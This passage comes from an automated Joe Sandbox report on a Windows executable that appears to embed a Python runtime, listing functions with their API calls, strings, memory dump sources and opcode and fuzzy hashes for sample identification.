RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction ID: 51bb9e03f3e897eae2def5a8f91c3a9cbbd468c0c523b6bf9e85a288c7dd095d
Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction Fuzzy Hash: 65E08C10F0864342FF18EBF2A85807912A19F9C794B005030C92EC72F1FE2CA995C300

Function 00007FF6FB1FB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FB1E4

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: 03150745851d9494dfba7d3a81df21f2f884b34cb97f6064eefa8bbd481ea127
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: 4C419E36D0820387EB34DA15E55127E73A0EB59B88F140231DAAEC76E1EF2CF502CB51

Function 00007FF6FB1E76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6FB1E774A

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 975c3a5ec649139404ac52ecddea46541f176f5586f0ae2f8c4f26f5f44efa62
Instruction ID: 2c77d70b92bd71451f16a1fa1d91d6df9601d3ce8bf72cc8eeb6b4d1f6a0d6f3
Opcode Fuzzy Hash: 975c3a5ec649139404ac52ecddea46541f176f5586f0ae2f8c4f26f5f44efa62
Instruction Fuzzy Hash: CD216F21F0865345FB10EA56A9083BAA641BF4DBD8F884430EE2D96BD6EE7DF046C600

Function 00007FF6FB1FAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FACD2

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction ID: 584010f172b4cbb649e79453ea2faef52475fdc500b6b1be7d19eacbab0c1be0
Opcode Fuzzy Hash: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction Fuzzy Hash: B431C122E2865386F711EB1588413BD2660AF58BA9F520235DA7DC33F2EFBCE491C710

Function 00007FF6FB1F8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FB1F8CA7

Part of subcall function 00007FF6FB1F8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF6FB1F8DC5
Part of subcall function 00007FF6FB1F8DA0: GetProcAddress.KERNEL32 ref: 00007FF6FB1F8DDB
Part of subcall function 00007FF6FB1F8DA0: FreeLibrary.KERNEL32 ref: 00007FF6FB1F8E02

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: 595207c17adf287fa3ad07948474392b2cf23d9c41038d4fc3988ac5d0a9e9f8
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: AA217832E15B06CAEB64DFA4C4442EC33A0FB4871CF54463AD62D86AE9EF38D584DB50

Function 00007FF6FB1F52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F5209

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: 18c1d2ee62bbe6ac451d10a3cebda90465851a5b82d96694ff170bbc2f223e22
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: EE119621E1D643C1EB60EF51D41017EA6A4BF99B88F444131EA6CD76E6EF3CE551C740

Function 00007FF6FB205664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB205687

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: 35c5d3a66de5790085d571a04a69aeacc9efa8447fc38a01dc92675fdc2eda2f
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: 0C218732A18A8386EB658F18D59037976A0EB9CBD4F145234D66DC76F9EF3DD441CB00

Function 00007FF6FB1EF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1EF730

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: 4c7fb3b905a1547dee916c8baf13a20a6da47b09726325c44894966dd1d14d2e
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: A601A121E0878340FB04DB56990106DA795EB99FE8F484631DE7C97BE6EE3CE512C300

Function 00007FF6FB1FDEA8 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6FB1FA63A,?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A), ref: 00007FF6FB1FDEFD

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction ID: 291bb6fbc11986cc3b9581f3b0e00c7d10fde55975d0aaef95bb837f310cc3c8
Opcode Fuzzy Hash: a50505f3dedbf875c6adc223253d20fad35851e197ada73c0c4444ee90b671f1
Instruction Fuzzy Hash: 06F09005F0924B80FF58E76699253B522915F9CB88F4C5430C92EC63F2FE2CE482C250

Function 00007FF6FB1FC90C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF6FB1EFFB0,?,?,?,00007FF6FB1F161A,?,?,?,?,?,00007FF6FB1F2E09), ref: 00007FF6FB1FC94A

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: ee4ed4447ee058291ce304c9d2ea37237cb2e6f2edecaf518085abdf680383f6
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: BDF05E00F1824744FF28A66169112791280AF9C7A8F084630D83EC5AE5FE1CE541E210

Non-executed Functions

Function 00007FF6FB1E50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E50C0
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5101
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5126
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E514B
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5173
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E519B
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E51C3
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E51EB
GetProcAddress.KERNEL32(?,00007FF6FB1E5C57,?,00007FF6FB1E308E), ref: 00007FF6FB1E5213

Strings

PyErr_Fetch, xrefs: 00007FF6FB1E52F9, 00007FF6FB1E5315
PyStatus_Exception, xrefs: 00007FF6FB1E5619, 00007FF6FB1E5635
Py_ExitStatusException, xrefs: 00007FF6FB1E511C, 00007FF6FB1E5138
Py_IsInitialized, xrefs: 00007FF6FB1E5191, 00007FF6FB1E51AD
PySys_SetObject, xrefs: 00007FF6FB1E5669, 00007FF6FB1E5685
PySys_GetObject, xrefs: 00007FF6FB1E5641, 00007FF6FB1E565D
PyUnicode_Replace, xrefs: 00007FF6FB1E5781, 00007FF6FB1E579D
PyImport_ImportModule, xrefs: 00007FF6FB1E5439, 00007FF6FB1E5455
PyConfig_SetString, xrefs: 00007FF6FB1E5281, 00007FF6FB1E529D
PyErr_Occurred, xrefs: 00007FF6FB1E5349, 00007FF6FB1E5365
PyUnicode_Decode, xrefs: 00007FF6FB1E56B9, 00007FF6FB1E56D5
PyConfig_SetBytesString, xrefs: 00007FF6FB1E5259, 00007FF6FB1E5275
PyRun_SimpleStringFlags, xrefs: 00007FF6FB1E55F1, 00007FF6FB1E560D
PyUnicode_FromFormat, xrefs: 00007FF6FB1E5709, 00007FF6FB1E5725
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6FB1E55C9, 00007FF6FB1E55E5
PyList_Append, xrefs: 00007FF6FB1E5461, 00007FF6FB1E547D
PyEval_EvalCode, xrefs: 00007FF6FB1E53C1, 00007FF6FB1E53DD
Py_DecRef, xrefs: 00007FF6FB1E50B6, 00007FF6FB1E50D2
PyModule_GetDict, xrefs: 00007FF6FB1E54D9, 00007FF6FB1E54F5
PyObject_SetAttrString, xrefs: 00007FF6FB1E5579, 00007FF6FB1E5595
PyObject_Str, xrefs: 00007FF6FB1E55A1, 00007FF6FB1E55BD
PyConfig_InitIsolatedConfig, xrefs: 00007FF6FB1E5209, 00007FF6FB1E5225
PyConfig_Read, xrefs: 00007FF6FB1E5231, 00007FF6FB1E524D
PyErr_NormalizeException, xrefs: 00007FF6FB1E5321, 00007FF6FB1E533D
PyImport_ExecCodeModule, xrefs: 00007FF6FB1E5411, 00007FF6FB1E542D
PyConfig_Clear, xrefs: 00007FF6FB1E51E1, 00007FF6FB1E51FD
PyMarshal_ReadObjectFromString, xrefs: 00007FF6FB1E5489, 00007FF6FB1E54A5
Failed to get address for %hs, xrefs: 00007FF6FB1E50D9
PyObject_CallFunction, xrefs: 00007FF6FB1E5501, 00007FF6FB1E551D
Py_PreInitialize, xrefs: 00007FF6FB1E51B9, 00007FF6FB1E51D5
PyErr_Clear, xrefs: 00007FF6FB1E52D1, 00007FF6FB1E52ED
GetProcAddress, xrefs: 00007FF6FB1E50E0
PyUnicode_Join, xrefs: 00007FF6FB1E5759, 00007FF6FB1E5775
PyUnicode_DecodeFSDefault, xrefs: 00007FF6FB1E56E1, 00007FF6FB1E56FD
PyObject_CallFunctionObjArgs, xrefs: 00007FF6FB1E5529, 00007FF6FB1E5545
PyConfig_SetWideStringList, xrefs: 00007FF6FB1E52A9, 00007FF6FB1E52C5
Py_InitializeFromConfig, xrefs: 00007FF6FB1E5169, 00007FF6FB1E5185
PyErr_Restore, xrefs: 00007FF6FB1E5399, 00007FF6FB1E53B5
PyErr_Print, xrefs: 00007FF6FB1E5371, 00007FF6FB1E538D
PyObject_GetAttrString, xrefs: 00007FF6FB1E5551, 00007FF6FB1E556D
Py_DecodeLocale, xrefs: 00007FF6FB1E50F7, 00007FF6FB1E5113
Py_Finalize, xrefs: 00007FF6FB1E5141, 00007FF6FB1E515D
PyUnicode_FromString, xrefs: 00007FF6FB1E5731, 00007FF6FB1E574D
PyUnicode_AsUTF8, xrefs: 00007FF6FB1E5691, 00007FF6FB1E56AD
PyImport_AddModule, xrefs: 00007FF6FB1E53E9, 00007FF6FB1E5405
PyMem_RawFree, xrefs: 00007FF6FB1E54B1, 00007FF6FB1E54CD

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 64fc361415386140762d15d431bcb8a047f2fe96515796d1914d3aec1433a503
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: 521264A4D1DB0395FB65DB08AAB41B822A1AF4C794F946435D83ED2AF0FF7CB5488340

Function 00007FF6FB2033BC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6FB20340A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB203A76
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB203BEC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB203EAA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2040CA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB204307
memcpy_s.LIBCPMT ref: 00007FF6FB2043E2
memcpy_s.LIBCPMT ref: 00007FF6FB20448D
memcpy_s.LIBCPMT ref: 00007FF6FB20455C

Strings

1#INF, xrefs: 00007FF6FB203533
1#QNAN, xrefs: 00007FF6FB203523
1#SNAN, xrefs: 00007FF6FB20351A
1#IND, xrefs: 00007FF6FB2034F7

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 006b587dceb6a8e5448b800068f928c3aefb42c20130fc8eaa47f3b19415637c
Instruction ID: a4e7d4496f675aa15f03d4430863fdbe56adf9e781005a3b936fe920968052ee
Opcode Fuzzy Hash: 006b587dceb6a8e5448b800068f928c3aefb42c20130fc8eaa47f3b19415637c
Instruction Fuzzy Hash: D6B2B672A182834BE7658E65D6A07FD77A1FB5C3C8F406135DA29D7AE4EF38A500CB40

Function 00007FF6FB1E9FCD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid code lengths set, xrefs: 00007FF6FB1EA14D
too many length or distance symbols, xrefs: 00007FF6FB1EA166
invalid distance code, xrefs: 00007FF6FB1EA8D4
invalid distances set, xrefs: 00007FF6FB1EA4C0
invalid bit length repeat, xrefs: 00007FF6FB1EA3B9
invalid literal/lengths set, xrefs: 00007FF6FB1EA453
invalid distance too far back, xrefs: 00007FF6FB1EA990
invalid literal/length code, xrefs: 00007FF6FB1EA702
invalid code -- missing end-of-block, xrefs: 00007FF6FB1EA3E6

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 7289e34dee421d23927a0f8f8a094fde9ef8b8d5e9feb20e52711e481e6fcba8
Instruction ID: ba4aea02f65fb1e4daca20faf5ce1ee6bfae4e5019a4699c8f4dfbfcb8670a5b
Opcode Fuzzy Hash: 7289e34dee421d23927a0f8f8a094fde9ef8b8d5e9feb20e52711e481e6fcba8
Instruction Fuzzy Hash: B252B372E146A68BD754CF14C458B7E3BA9EB88344F054239EA5A87BD0EF3DE944CB40

Function 00007FF6FB1EC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6FB1EC468
RtlCaptureContext.KERNEL32 ref: 00007FF6FB1EC495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FB1EC4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FB1EC4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF6FB1EC544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1EC561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FB1EC56C

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
